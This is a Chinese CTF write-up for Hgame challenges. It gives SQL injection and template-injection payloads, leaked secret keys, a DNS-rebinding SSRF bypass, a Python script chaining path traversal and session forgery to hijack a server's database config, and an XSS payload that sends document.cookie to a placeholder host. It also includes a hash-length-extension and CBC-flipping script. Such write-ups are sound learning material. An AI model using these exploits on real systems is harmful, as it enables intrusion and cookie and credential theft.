Hgame Writeup

发表于 2019 年 3 月 9 日

happyPython

随便 fuzz 一下发现 404 页面有模板注入, http://118.25.18.223:3001/asd%7B%7Bconfig%7D%7D.
拿到 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 把 session 里的 user_id 改成 1 就行了.

happyPHP

users 页面有源码泄露, https://github.com/Lou00/laravel.
审计源码发现 SessionsController.php 直接拼接 sql 语句, 存在注入.

 1class SessionsController extends Controller
 2{
 3    public function store(Request $request)
 4    {
 5        $credentials = $this->validate($request, [
 6            'email' => 'required|email|max:100',
 7            'password' => 'required'
 8        ]);
 9        if (Auth::attempt($credentials)) {
10            if (Auth::user()->id ===1){
11                session()->flash('info','flag :******');
12                return redirect()->route('users.show');
13            }
14            $name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
15            session()->flash('info', 'hello '.$name[0]->name);
16            return redirect()->route('users.show');
17        } else {
18            session()->flash('danger', 'sorry,login failed');
19            return redirect()->back()->withInput();
20        }
21    }
22    public function destroy()
23    {
24        Auth::logout();
25        session()->flash('success', 'logout success');
26        return redirect('login');
27    }
28}

注册名称为 123' union select password from users where id =1#,
就可以拿到管理员的加密过的密码

同理 123' union select email from users where id =1#
拿到 email admin@hgame.com

config/app.php 可以找到加密方式 'cipher' => 'AES-256-CBC',
秘钥来自环境变量 env('APP_KEY'),
查找 git 的记录, 发现被删掉的 .env
APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=,
用这个来解密就可以了

1php > echo openssl_decrypt("EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=",'AES-256-CBC',base64_decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='),0,base64_decode('rnVrqfCvfJgnvSTi9z7KLw=='));
2s:16:"9pqfPIer0Ir9UUfR";

登录后就是 flag~

happyJava

这题有点坑 233, 提示放出来才做出来.
提示: spring-boot-actuator
查了一下, fuzz /monitor /actuator 等等都没有,
随缘扫了一下端口找到 9876 端口开着 http, 竟然正是这个 spring-boot-actuator
访问 http://119.28.26.122:9876/mappings 就可以拿到所有的路由

题目是这两个 /you_will_never_find_this_interface, /secret_flag_here,
看了一下是 SSRF, 试了一会发现 DNS 请求会请求两次, 可以采用 DNS Rebinding,
因为后面可以拿 Shell 下题目, 我就直接给大家看题目源码了

 1@GetMapping(path={"/you_will_never_find_this_interface"})
 2public String YouWillNeverFindThisInterface(@RequestParam(value="url", defaultValue="") String url)
 3{
 4    if (url.isEmpty()) {
 5        return "`url` cant be empty!";
 6    }
 7try
 8{
 9    URL u = new URL(url);
10    
11    String domain = u.getHost();
12    String ip = InetAddress.getByName(domain).getHostAddress();
13    if (ip.equals("127.0.0.1")) {
14        return "Dont be evil. Dont request 127.0.0.1.";
15    }
16    URLConnection connection = u.openConnection();
17    connection.setConnectTimeout(5000);
18    connection.setReadTimeout(5000);
19    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
20    StringBuilder sb = new StringBuilder();
21    String current;
22    while ((current = in.readLine()) != null) {
23        sb.append(current);
24    }
25    return sb.toString();
26}
27    catch (Exception e)
28    {
29        return "emmmmmmm, something went wrong: " + e.getMessage();
30    }
31}

注意 String ip = InetAddress.getByName(domain).getHostAddress();URLConnection connection = u.openConnection();.
在拿到 ip 以后, 是直接再用原来的链接打开, 而不是通过 ip 访问. 也就是说, 这里其实解析了两次域名 (如果没有缓存的话, 这个下面说)
这给我们了机会来绕过检测, 我们只要让 DNS 第一次返回一个不是 127.0.0.1 的地址, 第二次再返回 127.0.0.1 即可. 这样 u.openConnection 将会链接 127.0.0.1, 实现 SSRF.
可以直接在 Github 上找到已有的项目, 试了一下还是不错的. 不过在这个题目下使用有点小问题, 题目这里设置的 DNS 服务器是 8.8.8.8, 而 8.8.8.8 在递归的时候请求了一个不支持的类型 \x00\xff, 查了一下 RFC, 是这个

13.2.3. QTYPE values
2QTYPE fields appear in the question part of a query.  QTYPES are a
3superset of TYPEs, hence all TYPEs are valid QTYPEs.  In addition, the
4following QTYPEs are defined:
5AXFR            252 A request for a transfer of an entire zone
6MAILB           253 A request for mailbox-related records (MB, MG or MR)
7MAILA           254 A request for mail agent RRs (Obsolete - see MX)
8*               255 A request for all records

请求所有记录, 还好不是什么奇葩的, 我们稍微修改一下, 正常返回 A 记录即可.

 1@@ -52,7 +53,8 @@ 
 2TYPE = {
 3     "\x00\x0c": "PTR",
 4     "\x00\x10": "TXT",
 5     "\x00\x0f": "MX",
 6-    "\x00\x06": "SOA"
 7+    "\x00\x06": "SOA",
 8+    "\x00\xff": "A"
 9 }
10 
11 # Stolen:
12@@ -346,6 +348,7 @@ 
13CASE = {
14     "\x00\x0c": PTR,
15     "\x00\x10": TXT,
16     "\x00\x06": SOA,
17+    "\x00\xff": A,
18 }

然后设置 conf

1$ cat dns.conf
2A .* 1.1.1.1,127.0.0.1

就可以啦, 这样第一次请求返回 1.1.1.1, 第二次 127.0.0.1, 绕过了检测.
再说说缓存, 为了加快请求速度, 现在的操作系统都会将上次请求保存下来, 在一段时间内都会使用第一次请求的结果. 所以这种方式也有对应的局限. 我们可以看看题目的设置

 1@SpringBootApplication
 2public class HappyjavaApplication
 3{
 4  public static void main(String[] args)
 5  {
 6    Security.setProperty("networkaddress.cache.negative.ttl", "0");
 7    Security.setProperty("networkaddress.cache.ttl", "0");
 8    System.setProperty("sun.net.spi.nameservice.nameservers", "8.8.8.8");
 9    System.setProperty("sun.net.spi.nameservice.provider.1", "dns,sun");
10    SpringApplication.run(HappyjavaApplication.class, args);
11  }
12}

是将 networkaddress.cache.ttl 设到了 0, 相当于关闭了缓存, 所以才能这么玩 233

接下来访问 /secret_flag_here, 是个解析 json 的界面, 当时目测就是 fastjsonRCE, 挺久之前的洞了, 网上有很多文章, 这里就不多说了. 需要注意一下 URL 需要二次编码以及题目限制了 TemplatesImpl 的使用

 1@GetMapping(path={"/secret_flag_here"})
 2public String SecretFlagHere(@RequestParam(value="data", defaultValue="") String data, HttpServletRequest request)
 3{
 4    String ip = request.getRemoteAddr();
 5    if (!ip.equals("127.0.0.1")) {
 6      return "This is danger interface, only allow request from 127.0.0.1!<br/>Your IP:" + ip;
 7    }
 8    if (data.equals("")) {
 9      return "data cant be empty!";
10    }
11    if ((data.contains("TemplatesImpl")) && (data.contains("@type"))) {
12      return "Evil hacker?";
13    }
14    try
15    {
16      object = JSON.parse(data);
17    }
18    catch (Exception e)
19    {
20      Object object;
21      return "Invalid JSON string!";
22    }
23    Object object;
24    String result = "WoW! Convert JSON to object...OK!";
25    result = result + "<br>Result: " + object.toString();
26    
27	return result;
28}

happyGo

继续代码审计 233
题目说 flag 在 /flag, 而看了一圈并没有任意文件读取之类的.
但是这里注意到 model.go 中的 orm.RegisterDataBase("default", "mysql", fmt.Sprintf("%s:%s@tcp(%s:%s)/%s?allowAllFiles=true", username, password, host, port, database)) 中的 allowAllFiles=true, 这允许我们 LOAD LOCAL FILE, 这里就要谈到一种攻击方式, 大家可以看这里
接下来就要想办法覆盖掉配置文件, 让服务端连接我们的恶意服务器

第一个漏洞点在 userinfo.go,

 1c.SaveToFile("uploadname", "static/uploads/" + h.Filename)
 2
 3o := orm.NewOrm()
 4u := models.Users{Id: uid.(int)}
 5
 6err = o.Read(&u)
 7if err != nil {
 8    c.Abort("500")
 9}
10u.Avatar = "/static/uploads/" + h.Filename
11_, err = o.Update(&u)
12if err != nil {
13    c.Abort("500")
14}
15
16c.Redirect("/userinfo", http.StatusFound)

这里 Filename 没有过滤就直接拼接上去, 导致可以任意文件上传,
将位置设到 session 保存的目录底下, 就可以伪造 session 拿到管理员权限. (不了解的同学可以去了解一下 gogs 的 RCE)
PS. 这里直接覆盖 app.conf 没有用… 估计服务端的源码另外修改过

而且管理员在删除用户时会直接删掉这个头像文件,

1if user.Avatar != "/static/img/avatar.jpg" {
2    fmt.Println(user.Avatar)
3    err := os.Remove(user.Avatar[1:])
4    fmt.Println(err)
5}

这里我的方法是再建一个用户, 将头像设成 app.conf 所在路径, 用管理员权限的 session 删掉这个用户, 这时配置文件将会被删除.
再去访问 /install, 就可以把我们的配置文件写进去了.

因为 5min 就重置一次, 我就写了个脚本

 1SERVER = "http://94.191.10.201:7000"
 2# http://94.191.10.201:7000
 3# http://127.0.0.1:9999
 4
 5import requests
 6import string
 7import random
 8import bs4
 9import re
10
11
12def register(username, password):
13    sess = requests.session()
14    sess.get(f"{SERVER}/auth")
15    data = {
16        "username": username,
17        "password": password,
18        "confirmpass": password,
19    }
20    sess.post(f"{SERVER}/auth/register", data=data)
21
22
23def login(sess, username, password):
24    sess.get(f"{SERVER}/auth")
25    data = {
26        "username": username,
27        "password": password,
28    }
29    sess.post(f"{SERVER}/auth/login", data=data)
30
31
32adminUsername = "".join(random.choices(string.ascii_letters, k=10))
33adminPassword = "rmb1222"
34adminSess = requests.session()
35register(adminUsername, adminPassword)
36login(adminSess, adminUsername, adminPassword)
37
38sessPath = adminSess.cookies["PHPSESSID"]
39newAvatar = f"../../tmp/{sessPath[0]}/{sessPath[1]}/{sessPath[0:3]}cb478171476a1dbcec5ffdef658c4"
40
41file = {'uploadname': (newAvatar, open('test.png', 'rb'))}
42adminSess.post(f"{SERVER}/userinfo", files=file) 
43
44adminSess.cookies["PHPSESSID"] = f"{sessPath[0:3]}cb478171476a1dbcec5ffdef658c4"  # now you are admin
45print(adminUsername)
46print(newAvatar)
47
48# ------------
49dummyUsername = "".join(random.choices(string.ascii_letters, k=10))
50dummyPassword = "rmb1222"
51dummySess = requests.session()
52register(dummyUsername, dummyPassword)
53login(dummySess, dummyUsername, dummyPassword)
54
55newAvatar = "../../conf/app.conf"
56file = {'uploadname': (newAvatar, open('temp', 'rb'))}
57dummySess.post(f"{SERVER}/userinfo", files=file)
58print(dummyUsername)
59
60# ------------
61res = adminSess.get(f"{SERVER}/admin")
62reg = fr"{dummyUsername} \(UID: ([0-9]{{0,}})\)"
63uid = re.findall(reg, res.text)
64print(uid)
65uid = uid[0]
66adminSess.get(f"{SERVER}/admin/user/del/{uid}") # delete app.conf
67# ------------
68
69
70# ------------ overwirte it
71res = adminSess.get(f"{SERVER}/install")
72print(res.text)
73data = {
74    "host": "your server ip",
75    "port": "port",
76    "username": "root",
77    "password": "rmb122",
78    "database": "123",
79}
80adminSess.post(f"{SERVER}/install", data=data)
81
82register("123123123", "1231231231")

然后就守株待兔吧 233

HappyXss

这个算是比较简单的了, 直接用 <iframe src=javascript:alert('xss');></iframe> 就可以绕了
不过需要注意下 CSP, Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src *
<img src=''> 的方式来拿 cookie 是不行了, 但是注意 style-src *,
可以通过 css 来拿 cookie, payload 这样

1(function(){ css=document.createElement("link");css.setAttribute("rel","stylesheet");css.setAttribute("href","yoursite?a="+escape(document.cookie));document.getElementsByTagName("head")[0].appendChild(css);}())

easy_rsa

共模攻击, 不过这里 e1, e2 不互质, 3 == gcd(e1, e2), 我们先把 e1, e2 都除以 3
然后把除以三以后的 e1, e2 丢到脚本里跑, 把结果开三次方就可以了

Sign_in_SemiHard

哈希长度拓展 + CBC 字节翻转, 直接上脚本吧, 不多说了
因为时间有限所以有很多地方实现的很暴力, 233

 1import hashpumpy
 2import remoteCLI
 3import string
 4from binascii import hexlify, unhexlify
 5
 6BLOCK_LENGTH = 16
 7ZEROS = bytearray([0 for i in range(16)])
 8regToken = r'Your token is: ([0-9A-Za-z]{0,})'
 9regUsername = r'Sorry, your username\(hex\) ([0-9A-Za-z]{0,}) is inconsistent with given signature\.'
10
11
12def xor(a, b):
13    result = bytearray()
14    for i in range(len(a)):
15        result.append(a[i] ^ b[i])
16    return result
17
18
19unprintable = b""
20for i in range(256):
21    if chr(i) not in string.printable:
22        unprintable += bytes([i])
23
24cli = remoteCLI.CLI()
25cli.connect("47.95.212.185", 38611)
26cli.sendLine("1")
27cli.sendLine(hexlify(b'\x00\x00'))
28token = cli.recvUntilFind(regToken)[0]
29token = unhexlify(token)
30
31sig = token[-BLOCK_LENGTH:]
32res = hashpumpy.hashpump(hexlify(sig), '\x00\x00', 'admin', 16)
33assert res[1].strip(unprintable) == b'admin'
34print(res)
35
36newSig = bytearray(unhexlify(res[0]))
37newPt = bytearray(res[1])
38newPt[-1] = ord('e')  # change last byte to e
39offset = len(newPt) % BLOCK_LENGTH - 1
40
41padLen = BLOCK_LENGTH - len(newPt) % BLOCK_LENGTH
42newPt += bytearray([padLen]) * padLen
43print(newPt)
44assert len(newPt) // BLOCK_LENGTH == 4
45
46b1st = bytearray()
47b2nd = bytearray()
48b3rd = bytearray()
49b4th = bytearray()
50midVal = bytearray()
51
52cli.sendLine("1")
53cli.sendLine(hexlify(newPt[-2 * BLOCK_LENGTH:]))  # encrypt last two block
54token = cli.recvUntilFind(regToken)[0]
55token = unhexlify(token)
56token = bytearray(token)
57iv = token[:BLOCK_LENGTH]
58cipher = token[BLOCK_LENGTH:-2 * BLOCK_LENGTH]  # get the encrypted block and drop the padding
59cipher[offset] ^= ord("e")  # flip the byte, admie -> admin
60cipher[offset] ^= ord("n")
61b4th = cipher[BLOCK_LENGTH:]  # the last block is the final block
62b3rd = cipher[:BLOCK_LENGTH]
63
64cli.sendLine("2")
65cli.sendLine(hexlify(ZEROS + cipher + ZEROS))
66token = cli.recvUntilFind(regUsername)[0]
67token = bytearray(unhexlify(token))
68assert b'admin' in token
69midVal = token[:BLOCK_LENGTH]  # the mid val of 3rd block
70b2nd = xor(midVal, newPt[-2 * BLOCK_LENGTH:-BLOCK_LENGTH])
71
72cli.sendLine("2")  # decrypt 2nd to get mid val
73cli.sendLine(hexlify(ZEROS + b2nd + b3rd + b4th + ZEROS))
74token = cli.recvUntilFind(regUsername)[0]
75token = unhexlify(token)
76token = bytearray(token)
77midVal = token[:BLOCK_LENGTH]  # get the mid val of 2nd block
78b1nd = xor(midVal, newPt[-3 * BLOCK_LENGTH:-2 * BLOCK_LENGTH])
79
80cli.sendLine("2")  # decrypt 1nd to get mid val
81cli.sendLine(hexlify(ZEROS + b1nd + b2nd + b3rd + b4th + ZEROS))
82token = cli.recvUntilFind(regUsername)[0]
83token = unhexlify(token)
84token = bytearray(token)
85midVal = token[:BLOCK_LENGTH]  # get the mid val of 1nd block
86iv = xor(midVal, newPt[-4 * BLOCK_LENGTH:-3 * BLOCK_LENGTH])
87
88print(hexlify(iv + b1nd + b2nd + b3rd + b4th + newSig))
89cli.sendLine("2")
90cli.sendLine(hexlify(iv + b1nd + b2nd + b3rd + b4th + newSig))
91cli.console()